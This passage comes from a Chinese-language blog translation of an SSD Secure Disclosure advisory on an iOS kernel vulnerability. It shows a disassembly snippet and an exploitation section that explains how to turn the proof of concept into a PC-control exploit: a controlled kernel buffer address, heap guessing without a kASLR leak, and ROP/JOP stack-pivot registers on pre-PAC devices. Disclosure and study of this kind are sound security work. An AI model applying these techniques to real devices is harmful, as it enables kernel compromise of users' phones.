0xFFFFFFF0069398FC LDR X8, [X8,#0x28]

0xFFFFFFF006939900 BLR X8

[...]

Exploitation

一旦逃逸了沙盒,利用这个漏洞就非常简单。

PoC中的代码也可用于EXP,但是SetSessionSettings缓冲区(0x4141414142424242)中提供的值必须指向可控的内核缓冲区,可以从该缓冲区加载函数指针。另外一个堆信息泄漏的漏洞可以用于稳定性保证。在kASLR失败的情况下,还可以根据每个设备推测堆的位置:在堆内存高地址测试下,大量的分配很可能会在相同的内存范围(0xffffffffe1xxxxxxxx)。

因为这个漏洞可以让我们控制PC,所以它可以通过ROP或JOP进行利用。虽然不一定适用于有PAC的A12或更新版本的设备,但非A12 / A13是支持我们沙盒逃逸,还要注意,在构建ROP / JOP链时,可控内核缓冲区的地址在x19内,另一个可控指针在x0内,可以用作stack pivot或暂存内存空间。

本文翻译自SSD Secure Disclosure,原文链接。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值